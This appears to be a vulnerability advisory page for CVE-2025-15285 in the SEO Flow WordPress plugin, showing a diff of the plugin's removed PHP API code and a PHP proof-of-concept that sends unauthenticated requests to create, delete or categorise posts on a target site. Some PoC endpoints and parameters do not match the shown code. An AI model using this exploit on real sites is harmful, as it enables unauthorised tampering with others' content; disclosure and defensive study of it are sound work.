-                            padding: 20px;
-                            border-radius: 0;
-                            resize: none;
-                            font-size: 12px;
-                            line-height: 20px;
-                            outline: 0;
-                            background-color: #f0f0f1;
-                        }
-                        #debug-report .button-tooltip-container {
-                            display: flex;
-                            align-items: center;
-                            margin-top: 16px;
-                            min-height: 30px;
-
-                        }
-                        #debug-report .custom-tooltip {
-                            display: none;
-                            margin-left: 5%;
-                            padding: 5px 12px;
-                            background-color: #000000df;
-                            border-radius: 4px;
-                            color: #fff;
-                        }
-                    </style>
-
-                        <div class="wrap">
-                            <div class="wrap narrow">
-                                <p>Kopieer en plak deze informatie alleen als je contact op neemt met ondersteuning</p>
-                                <button class="button button-secondary d-block" id="show-debug-report">Ontvang systeemrapport</button>
-                                <div id="debug-report" style="display: none;">
-                                    <textarea readonly="readonly"><?php echo($report); ?></textarea>
-                                    <div class="button-tooltip-container">
-                                        <button id="copy-for-support" class="button-primary" href="#" data-tip="Gekopieerd!">Kopieer voor ondersteuning</button>
-                                        <span class="custom-tooltip">copied!</span>
-                                        </span>
-                                    </p>
-                                </div>
-                            </div>
-                        </div>
-                        <script type="text/javascript">
-                            jQuery(document).ready(function ($) {
-                                $("#copy-for-support").click(function () {
-                                    $("#debug-report > textarea").select();
-                                    $("#debug-report .custom-tooltip").css({'display':"inline"});
-                                    document.execCommand('copy');
-                                    setTimeout( function() {
-                                        $("#debug-report .custom-tooltip").css({'display':"none"});
-                                    }, 1000);
-                                });
-                                $("#show-debug-report").click(function () {
-                                    $("#debug-report").show();
-                                });
-                            });
-                        </script>
-                    <?php
-                        break;
-                endswitch;
-                ?>
-            </div>
-
-        </div><!-- /.wrap -->
-
-        <?php
-    }
-
-}
--- a/lupsonline-link-netwerk/includes/class-linknetwerk-adminnotice.php
+++ b/lupsonline-link-netwerk/includes/class-linknetwerk-adminnotice.php
@@ -1,45 +0,0 @@
-<?php
-
-class LinkNetwerk_AdminNotice
-{
-    const NOTICE_FIELD = 'my_admin_notice_message';
-
-    public static function displayAdminNotice()
-    {
-        $option      = get_option(self::NOTICE_FIELD);
-        $message     = isset($option['message']) ? $option['message'] : false;
-        $noticeLevel = ! empty($option['notice-level']) ? $option['notice-level'] : 'notice-error';
-
-        if ($message) {
-            echo "<div class='notice {$noticeLevel} is-dismissible'><p>{$message}</p></div>";
-            delete_option(self::NOTICE_FIELD);
-        }
-    }
-
-    public static function displayError($message)
-    {
-        self::updateOption($message, 'notice-error');
-    }
-
-    public static function displayWarning($message)
-    {
-        self::updateOption($message, 'notice-warning');
-    }
-
-    public static function displayInfo($message)
-    {
-        self::updateOption($message, 'notice-info');
-    }
-
-    public static function displaySuccess($message)
-    {
-        self::updateOption($message, 'notice-success');
-    }
-
-    protected static function updateOption($message, $noticeLevel) {
-        update_option(self::NOTICE_FIELD, [
-            'message' => $message,
-            'notice-level' => $noticeLevel
-        ]);
-    }
-}
 No newline at end of file
--- a/lupsonline-link-netwerk/includes/class-linknetwerk-api.php
+++ b/lupsonline-link-netwerk/includes/class-linknetwerk-api.php
@@ -1,398 +0,0 @@
-<?php
-
-/**
- * Register all actions and filters for the plugin.
- * @package    SEOFlow
- * @subpackage SEOFlow/includes
- * @author     Trinco Ingels <info@trincoingels.nl>
- */
-class LinkNetwerk_API {
-
-    private $admin;
-    private $linknetwerkApiEndpoint = "https://seoflowtool.nl/api/order-created.php";
-
-    /**
-     * Initialize the class and set its properties.
-     *
-     * @since    1.0.0
-     */
-    public function __construct() {
-
-        $lk = new Linknetwerk();
-        $this->admin = new LinkNetwerk_Admin($lk::get_plugin_name(), $lk::get_version());
-    }
-
-    private function getParams($request) {
-
-        $body = $request->get_body();
-        $params = null;
-        if (!empty($body)) {
-            $params = json_decode($body, true);
-        }
-        if (!$params) {
-            $params = $request->get_params();
-        }
-
-        return $params;
-    }
-
-    private function checkBasicAuthentication($params){
-        if (!$params)
-            return "Authentication error";
-
-        $hash = sanitize_text_field($params['hash']);
-
-        $ourhash = hash_hmac('sha256', base64_encode("https://seoflowtool.nl/"), get_option("lupsOnlineLinkNetwerkApiKey"));
-        if ($ourhash !== $hash)
-            return "Authentication error";
-
-        return true;
-    }
-
-    private function checkAuthentication($params) {
-        if (!$params)
-            return "Authentication error";
-
-        $siteUrl = get_site_url();
-        $anchor = urlencode(urldecode($params['link']));
-        $hash = sanitize_text_field($params['hash']);
-
-        $ourhash = hash_hmac('sha256', $anchor . $siteUrl, get_option("lupsOnlineLinkNetwerkApiKey"));
-
-        if ($ourhash !== $hash)
-            return "Authentication error";
-
-        return true;
-    }
-
-    private function validateRequest($params, $requiredFields = array()){
-        if (in_array("pageid", $requiredFields) && ((empty($params['pageid']) || is_null($params['pageid'])) || !preg_match('/^d+$/', $params["pageid"])))
-            return  "Param 'pageid' missing";
-
-        if (in_array("link", $requiredFields) && (empty($params['link']) || is_null($params['link'])))
-            return  "Param 'link' missing";
-
-        // Hash always required
-        if (empty($params['hash']) || is_null($params['hash']) || !preg_match('/^[a-z0-9]+$/', $params['hash'])) {
-            return "Param 'hash' missing";
-        }
-
-        return true;
-    }
-
-    private function checkBlogAuthentication($params) {
-        if (!$params)
-            return new WP_Error(400, "Authentication error");
-
-        $siteUrl = get_site_url();
-
-        $title = preg_replace("/[^a-zA-Z]+/", "", $params['title']);
-
-        $hash = sanitize_text_field($params['hash']);
-
-        if (!$hash || empty($hash) || !preg_match('/^[a-z0-9]+$/', $hash))
-            return new WP_Error(400, "Param 'hash' missing");
-        $ourhash = hash_hmac('sha256', $title . $siteUrl, get_option("lupsOnlineLinkNetwerkApiKey"));
-
-        if ($ourhash !== $hash)
-            return new WP_Error(401, "Authentication error");
-    }
-
-    private function checkCategoryAuthentication($params) {
-        if (!$params)
-            return new WP_Error(400, "Authentication error");
-
-        $siteUrl = get_site_url();
-
-        $category = $params['category'];
-
-        $hash = sanitize_text_field($params['hash']);
-
-        if (!$hash || empty($hash) || !preg_match('/^[a-z0-9]+$/', $hash))
-            return new WP_Error(400, "Param 'hash' missing");
-        $ourhash = hash_hmac('sha256', $category . $siteUrl, get_option("lupsOnlineLinkNetwerkApiKey"));
-
-        if ($ourhash !== $hash)
-            return new WP_Error(401, "Authentication error");
-    }
-
-    public function getVersion($request){
-        $params = $this->getParams($request);
-
-        if (!filter_var(($authenticationError = $this->checkAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-		return ["version" => $this->admin->getVersion()];
-    }
-
-    public function getLink($request) {
-        $params = $this->getParams($request);
-
-        if (!filter_var(($validationError = $this->validateRequest($params, ["pageid", "link", "TypeLinkId"])), FILTER_VALIDATE_BOOLEAN))
-           return new WP_Error(400, $validationError);
-
-        if (!filter_var(($authenticationError = $this->checkAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-        return $this->admin->getLink(
-                        isset($params['id']) ? $params['id'] : null, isset($params['pageid']) ? $params['pageid'] : null, isset($params['TypeLinkId']) ? $params['TypeLinkId'] : null
-        );
-    }
-
-    /*
-     * Add link to database
-     */
-    public function addLink($request) {
-        $params = $this->getParams($request);
-        if (!filter_var(($validationError = $this->validateRequest($params, ["pageid", "link", "TypeLinkId"])), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(400, $validationError);
-
-        if ($linkOrder = isset($params['linkOrder']) ? $params['linkOrder'] : null)
-            $this->admin->addSetting('linkOrder', $linkOrder);
-
-        if (!filter_var(($authenticationError = $this->checkAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-        if(isset($params['dryRun'])) return [
-            "dryRun" => "ok",
-            "version" => $this->admin->getVersion()
-        ];
-
-        return $this->admin->saveLink($params);
-    }
-
-    public function changeLink($request) {
-        $params = $this->getParams($request);
-
-        if (!filter_var(($validationError = $this->validateRequest($params, ["pageid", "link", "TypeLinkId"])), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(400, $validationError);
-
-        if ($linkOrder = isset($params['linkOrder']) ? $params['linkOrder'] : null)
-            $this->admin->addSetting('linkOrder', $linkOrder);
-
-        if (!filter_var(($authenticationError = $this->checkAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-        return $this->admin->updateLink($params);
-    }
-
-    /*
-     * Delete link
-     * param: Id <int>
-     */
-    public function deleteLink($request) {
-        $params = $this->getParams($request);
-        if (!filter_var(($validationError = $this->validateRequest($params, ["pageid", "link", "TypeLinkId"])), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(400, $validationError);
-
-        if (!filter_var(($authenticationError = $this->checkAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-        return $this->admin->deleteLink($params);
-    }
-
-
-    public function massInsert($request){
-        $params = $this->getParams($request);
-        $links = $params['data'];
-        $params = array_merge($params, reset($links));
-        unset($params['data']);
-
-        if (!filter_var(($validationError = $this->validateRequest($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(400, $validationError);
-
-        if (!filter_var(($authenticationError = $this->checkAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-        foreach($links as &$link){
-
-            $result = $this->admin->saveLink($link);
-            if(!is_wp_error($result)){
-                $link['WordpressId'] = $result['id'];
-            } else {
-                $link['Error'] = $result->get_error_messages();
-            }
-
-        }
-
-        return $links;
-    }
-
-    public function massUpdate($request){
-        $params = $this->getParams($request);
-        $links = $params['data'];
-        $params = array_merge($params, reset($links));
-        unset($params['data']);
-
-
-        if (!filter_var(($validationError = $this->validateRequest($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(400, $validationError);
-
-        if (!filter_var(($authenticationError = $this->checkAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-        foreach($links as &$link){
-
-                $result = $this->admin->updateLink($link);
-                if(!is_wp_error($result)){
-                    $link['WordpressId'] = $result['id'];
-                } else {
-                    $link['Error'] = $result->get_error_messages();
-                }
-
-        }
-
-        return $links;
-    }
-
-    public function deleteAllLinks($request) {
-        $params = $this->getParams($request);
-
-        if (!filter_var(($validationError = $this->validateRequest($params, ["link"])), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(400, $validationError);
-
-        if (!filter_var(($authenticationError = $this->checkAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-        return $this->admin->deleteAllLinks();
-    }
-
-    public function addBlog($request) {
-        $params = $this->getParams($request);
-        if (!$params["title"])
-            return new WP_Error(400, "Param 'title' missing");
-
-        $this->checkBlogAuthentication($params);
-
-        if(isset($params['dryRun'])) return [
-            "dryRun" => "ok",
-            "version" => $this->admin->getVersion()
-        ];
-
-        return $this->admin->saveBlog($params);
-    }
-
-    public function changeBlog($request) {
-        $params = $this->getParams($request);
-        if (!$params["title"])
-            return new WP_Error(400, "Param 'title' missing");
-
-        $this->checkBlogAuthentication($params);
-
-        return $this->admin->updateBlog($params);
-    }
-
-    /*
-     * Delete blog
-     * param: Id <int>
-     */
-
-    public function deleteBlog($request) {
-        $params = $this->getParams($request);
-
-        if (!$params["pageid"] || !preg_match('/^d+$/', $params["pageid"]))
-            return new WP_Error(400, "Param 'pageid' missing");
-
-        $this->checkBlogAuthentication($params);
-
-        return $this->admin->deleteBlog($params["pageid"]);
-    }
-
-	private function get_categories_hierarchical( $args = array() ) {
-
-        if( !isset( $args[ 'parent' ] ) ) $args[ 'parent' ] = 0;
-
-        $categories = get_categories( $args );
-
-        foreach( $categories as $key => $category ):
-
-            $args[ 'parent' ] = $category->term_id;
-
-            $categories[ $key ]->child_categories = $this->get_categories_hierarchical( $args );
-
-        endforeach;
-
-        return $categories;
-
-    }
-
-    public function getCategories() {
-        wp_send_json($this->get_categories_hierarchical(['hide_empty' => false]));
-    }
-
-    public function addCategory($request) {
-        $params = $this->getParams($request);
-
-        if (!$params["category"])
-            return new WP_Error(400, "Param 'category' missing");
-
-        $this->checkCategoryAuthentication($params);
-
-        $category = sanitize_text_field($params["category"]);
-        $parentId = isset($params["parentId"]) ? intval($params["parentId"]) : 0;
-
-        $this->admin->addCategory($category, $parentId);
-
-        return wp_send_json_success("Ok");
-    }
-
-    public function getPages($request) {
-        $params = $this->getParams($request);
-
-        if (!filter_var(($authenticationError = $this->checkBasicAuthentication($params)), FILTER_VALIDATE_BOOLEAN))
-            return new WP_Error(401, $authenticationError);
-
-        $pages = get_pages();
-        foreach ($pages as &$page){
-            $page->permalink = get_the_permalink($page->ID);
-        }
-
-        return $pages;
-    }
-
-    public function apiCall($data, $method) {
-        $error_msg = false;
-        $curl = curl_init();
-
-        curl_setopt($curl, CURLOPT_URL, $this->linknetwerkApiEndpoint);
-        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
-
-        if ($method == "POST") {
-            curl_setopt($curl, CURLOPT_POST, 1);
-            curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data, true));
-        }
-
-        date_default_timezone_set('Europe/Amsterdam');
-        $xTimestamp = (new Datetime)->format('Y-m-dTH:i:s');
-        $xHash = hash_hmac('sha256', json_encode($data, true) . $xTimestamp, get_option("lupsOnlineLinkNetwerkWebshopLicenseKey"));
-
-        $headers = array(
-            'Content-Type: application/json'
-            , sprintf('x-timestamp: %s', $xTimestamp)
-            , sprintf('x-referer: %s', get_site_url())
-            , sprintf('x-hash: %s', $xHash)
-        );
-
-        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); // Inject the token into the header
-        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
-        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
-        $result = curl_exec($curl);
-        $http_status_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
-        if (curl_errno($curl)) {
-            $error_msg = curl_error($curl);
-        }
-
-        curl_close($curl);
-
-        if (!($http_status_code >= 200 && $http_status_code <= 300) && !$error_msg) {
-            $error_msg = json_decode($result, true);
-            $error_msg = $error_msg['message'];
-        }
-        if ($error_msg) {
-            throw new Exception($error_msg, $http_status_code);
-        }
-
-        return json_decode($result, true);
-    }
-
-}
--- a/lupsonline-link-netwerk/includes/class-linknetwerk-loader.php
+++ b/lupsonline-link-netwerk/includes/class-linknetwerk-loader.php
@@ -1,90 +0,0 @@
-<?php
-
-/**
- * Register all actions and filters for the plugin.
- * @package    SEOFlow
- * @subpackage SEOFlow/includes
- * @author     Trinco Ingels <info@trincoingels.nl>
- */
-class LinkNetwerk_Loader {
-
-    protected $actions;
-    protected $filters;
-
-    /**
-     * Initialize the collections used to maintain the actions and filters.
-     */
-    public function __construct() {
-
-        $this->actions = array();
-        $this->filters = array();
-    }
-
-    /**
-     * Add a new action to the collection to be registered with WordPress.
-     *
-     * @param    string               $hook             The name of the WordPress action that is being registered.
-     * @param    object               $component        A reference to the instance of the object on which the action is defined.
-     * @param    string               $callback         The name of the function definition on the $component.
-     * @param    int                  $priority         Optional. he priority at which the function should be fired. Default is 10.
-     * @param    int                  $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1.
-     */
-    public function add_action($hook, $component, $callback, $priority = 10, $accepted_args = 1) {
-        $this->actions = $this->add($this->actions, $hook, $component, $callback, $priority, $accepted_args);
-    }
-
-    /**
-     * Add a new filter to the collection to be registered with WordPress.
-     *
-     * @param    string               $hook             The name of the WordPress filter that is being registered.
-     * @param    object               $component        A reference to the instance of the object on which the filter is defined.
-     * @param    string               $callback         The name of the function definition on the $component.
-     * @param    int                  $priority         Optional. he priority at which the function should be fired. Default is 10.
-     * @param    int                  $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1
-     */
-    public function add_filter($hook, $component, $callback, $priority = 10, $accepted_args = 1) {
-        $this->filters = $this->add($this->filters, $hook, $component, $callback, $priority, $accepted_args);
-    }
-
-    /**
-     * A utility function that is used to register the actions and hooks into a single
-     * collection.
-     *
-     * @access   private
-     * @param    array                $hooks            The collection of hooks that is being registered (that is, actions or filters).
-     * @param    string               $hook             The name of the WordPress filter that is being registered.
-     * @param    object               $component        A reference to the instance of the object on which the filter is defined.
-     * @param    string               $callback         The name of the function definition on the $component.
-     * @param    int                  $priority         The priority at which the function should be fired.
-     * @param    int                  $accepted_args    The number of arguments that should be passed to the $callback.
-     * @return   array                                  The collection of actions and filters registered with WordPress.
-     */
-    private function add($hooks, $hook, $component, $callback, $priority, $accepted_args) {
-
-        $hooks[] = array(
-            'hook' => $hook,
-            'component' => $component,
-            'callback' => $callback,
-            'priority' => $priority,
-            'accepted_args' => $accepted_args
-        );
-
-        return $hooks;
-    }
-
-    /**
-     * Register the filters and actions with WordPress.
-     *
-     */
-    public function run() {
-
-        foreach ($this->filters as $hook) {
-            add_filter($hook['hook'], array($hook['component'], $hook['callback']), $hook['priority'], $hook['accepted_args']);
-        }
-
-        foreach ($this->actions as $hook) {
-            add_action($hook['hook'], array($hook['component'], $hook['callback']), $hook['priority'], $hook['accepted_args']);
-        }
-    }
-
-}
--- a/lupsonline-link-netwerk/includes/class-linknetwerk.php
+++ b/lupsonline-link-netwerk/includes/class-linknetwerk.php
@@ -1,393 +0,0 @@
-<?php
-
-/**
- * The core plugin class.
- *
- * @version    1.1.3
- * @package    SEOFlow
- * @subpackage SEOFlow/includes
- * @author     Trinco Ingels <info@trincoingels.nl>
- */
-class Linknetwerk {
-
-    protected $loader;
-    static $plugin_name = 'SEOFlow';
-    static $version = '2.2.1';
-    /**
-     * Define the core functionality of the plugin.
-     */
-    public function __construct() {
-        $this->check_database_tables();
-        $this->load_dependencies();
-        $this->define_admin_hooks();
-        $this->define_api_endpoints();
-        $this->plugin_update();
-    }
-
-    /**
-     * Load the required dependencies for this plugin.
-     *
-     * @access   private
-     */
-    private function load_dependencies() {
-
-        /**
-         * The class responsible for orchestrating the actions and filters of the
-         * core plugin.
-         */
-        require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-linknetwerk-loader.php';
-
-        /**
-         * The class responsible for the communication with linknetwerk
-         * of the plugin.
-         */
-        require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-linknetwerk-api.php';
-
-        /**
-         * The class responsible for defining all actions that occur in the admin area.
-         */
-        require_once plugin_dir_path(dirname(__FILE__)) . 'admin/class-linknetwerk-admin.php';
-
-        /**
-         * The class responsible for defining all actions that occur in the admin area.
-         */
-        require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-linknetwerk-adminnotice.php';
-
-        $this->loader = new LinkNetwerk_Loader();
-    }
-
-    /**
-     * Register all of the hooks related to the admin area functionality
-     * of the plugin.
-     *
-     * @access   private
-     */

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15285 - SEO Flow by LupsOnline <= 2.2.1 - Unauthenticated Arbitrary Post/Category Modification

<?php
/**
 * Proof of Concept for CVE-2025-15285
 * Unauthenticated Arbitrary Post/Category Modification in SEO Flow by LupsOnline
 * 
 * This script demonstrates how an attacker can create blog posts without authentication
 * by exploiting the missing capability check in the plugin's API endpoints.
 */

// Configuration
$target_url = 'https://vulnerable-wordpress-site.com'; // Change this to target site
$api_key = 'compromised_or_default_key'; // API key from plugin settings or brute-forced

// Target endpoint - plugin REST API
$endpoint = '/wp-json/seoflow/v1/blog/create';

// Malicious post data
$post_data = array(
    'title' => 'Hacked by Atomic Edge Research',
    'content' => '<p>This post was created via CVE-2025-15285 exploit.</p>',
    'slug' => 'hacked-post',
    'categoryId' => '1', // Default category
    'postDate' => date('Y-m-d H:i:s'),
    'seoTitle' => 'Hacked SEO Title',
    'seoDescription' => 'Hacked SEO Description',
    'api_key' => $api_key // The only authentication required
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Accept: application/json'
));

// Execute the exploit
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check results
if ($http_code === 200) {
    $result = json_decode($response, true);
    if (isset($result['pageId']) && isset($result['pageUrl'])) {
        echo "[SUCCESS] Post created successfully!n";
        echo "Post ID: " . $result['pageId'] . "n";
        echo "Post URL: " . $result['pageUrl'] . "n";
    } else {
        echo "[ERROR] Unexpected response formatn";
        echo "Response: " . $response . "n";
    }
} else {
    echo "[ERROR] Request failed with HTTP code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);

// Additional exploit examples (commented out)
/*
// Delete a post
$delete_endpoint = '/wp-json/seoflow/v1/blog/delete';
$delete_data = array(
    'pageid' => 123, // Target post ID
    'api_key' => $api_key
);

// Create a category
$category_endpoint = '/wp-json/seoflow/v1/category/create';
$category_data = array(
    'category' => 'Malicious Category',
    'parentId' => 0,
    'api_key' => $api_key
);
*/
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School